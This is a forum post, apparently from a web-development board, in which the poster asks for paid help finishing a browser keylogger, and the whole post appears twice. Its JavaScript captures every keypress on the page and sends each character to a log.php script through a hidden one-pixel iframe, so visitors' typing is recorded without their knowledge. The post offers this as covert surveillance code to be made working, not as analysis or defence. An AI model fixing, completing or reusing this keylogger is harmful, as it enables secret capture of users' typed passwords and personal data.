I am trying to creat a script that captures the users keystrokes and passes it to a php file with the url parameter being log.php?letter=(letter here). I have gotten the php portion to work, but i need help fixing my javascript:
------------------------------
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script>
// Script by me
document.onkeypress =
function (evt) {
var c = document.layers ? evt.which
: document.all ? event.keyCode
: evt.keyCode;
setTimeout("log.location = 'log.php?letter=' + String.fromCharCode(c)", 0000);
return true;
};
// This is for capture form fields in nn4
if (document.layers)
document.captureEvents(Event.KEYPRESS);
</script></head>
<body>
<iframe src="" name="log" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>
</body>
</html>
-------------------------------------
Where the red is is the part that print the letter you pressed. I have gotten this script to work so that it displays and alert box, BUT i cant figure out how to pass this generated letter to the php without leaving this page! Can someone please fix it! Name your own price
------------------------------
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<script>
// Script by me
document.onkeypress =
function (evt) {
var c = document.layers ? evt.which
: document.all ? event.keyCode
: evt.keyCode;
setTimeout("log.location = 'log.php?letter=' + String.fromCharCode(c)", 0000);
return true;
};
// This is for capture form fields in nn4
if (document.layers)
document.captureEvents(Event.KEYPRESS);
</script></head>
<body>
<iframe src="" name="log" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>
</body>
</html>
-------------------------------------
Where the red is is the part that print the letter you pressed. I have gotten this script to work so that it displays and alert box, BUT i cant figure out how to pass this generated letter to the php without leaving this page! Can someone please fix it! Name your own price
